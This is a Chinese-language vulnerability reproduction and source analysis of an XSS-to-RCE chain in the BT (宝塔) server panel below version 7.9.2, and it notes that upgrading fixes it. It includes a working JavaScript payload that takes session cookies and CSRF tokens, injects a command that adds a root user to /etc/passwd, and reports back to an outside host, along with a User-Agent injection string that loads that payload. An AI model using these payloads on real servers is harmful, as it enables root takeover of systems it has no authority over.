0x01 宝塔面板简介
宝塔面板是一款服务器管理软件,支持windows和linux系统,可以通过Web端轻松管理服务器,提升运维效率。例如:创建管理网站、FTP、数据库,拥有可视化文件管理器,可视化软件管理器,可视化CPU、内存、流量监控图表,计划任务等功能。
0x02 影响版本
该RCE与历史漏洞相似,同样是XSS到RCE,漏洞已在最新版7.9.3修复,漏洞影响范围<7.9.2,修复方式就是把版本直接更新到最新版7.9.3以上即可,如果对业务有影响不能更新的话就把日志记录的时候过滤下XSS即可。
0x03 环境搭建
准备一台centos7服务器运行宝塔安装命令yum install -y wget && wget -O install.sh http://download.bt.cn/install/install_6.0.sh && sh install.sh ed8484bec
安装完成后打开默认地址并登录,新建一个web网站,使用手册详见宝塔官网(https://www.bt.cn/)
为了方便记录搭建一个接受RCE成功执行的平台
0x04 漏洞复现
JS payload
这个文件需要放目标机器可以访问到的地方,我这里放到了自己的云服务器上
//JQuery preload (optional)
(function(){
var s = document.createElement('script');s.type =
'text/javascript';s.async = true;s.src =
'https://code.jquery.com/jquery-2.1.4.min.js';
(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(s);
})();
// cookie
let cookies = document.cookie;
function getCookie(sKey) {
if (!sKey) { return null; }
return decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\- \.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) || null;
}
all_headers = {
"Accept":"*/*",
"X-Requested-With":"XMLHttpRequest",
"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36",
"Connection":"close",
"Accept-Encoding":"gzip, deflate",
"dnt":"1",
"sec-gpc":"1",
"Cookie": cookies,
"x-cookie-token": getCookie('request_token'),
"Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8",
"x-http-token": $('#request_token_head').attr('token'),
"Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
}
$.ajax({
url: "/ajax",
type: "get",
data:{"action":"get_lines","filename":"/etc","num":"|echo 'hack:$1$hack$.JxSX4bOP1WSqH0kCgs9Y.:0:0:root:/bin/bash' >> /etc/passwd|"},
headers: all_headers,
success: function (data) {
console.info(data);
}
});
$.ajax({
url: "http://test.com/index/rce/acceptall",
type: "get",
data:{"url":window.location.href,"title":$(document).attr('title'),"type":1},
headers: all_headers,
success: function (data) {
console.info(data);
}
});
复现过程
查看攻击前的 /etc/passwd 文件
向这个网站发包
在 User-Agent 插入攻击代码并发送
</tExtArEa>"><script src=http://test.com/test/1.js></script>
在宝塔管理端点击查看日志,看到日志底部出现了乱码,此时宝塔面板已经加载并执行了我们的 JS payload。
再次查看 /etc/passwd 文件发现被改写,说明成功RCE
接受记录的平台
0x05 原理分析
这里我用的环境是7.9.0版
漏洞原理是 XSS+后台RCE的组合拳
首先是日志展示页面可以用</textarea>
闭合
分析源码,看看宝塔是如何读取日志的
这里有一个getsitelogs函数,其中获取了网站的日志路径,然后传进了GetNumLines函数,跟进去如下
函数里面语句较多,但是并没有任何的过滤
然后returnMsg直接return回来
其中日志是由nginx保存的,宝塔读取日志数据并return回来,无任何过滤,加上拼接,即可造成xss
那么如何扩大危害造成rce呢?宝塔其中有一个getlines函数如下
那么我们转回来看getline函数
先判断了传来的filename存不存在,不存在就return,如果存在的话就往下进行拼接num和filename,所以我们就知道了怎么可以rce,传一个必定存在的filename,然后num执行命令就可以了,但因为这是在后台,所以需要xss+csrf配合触发。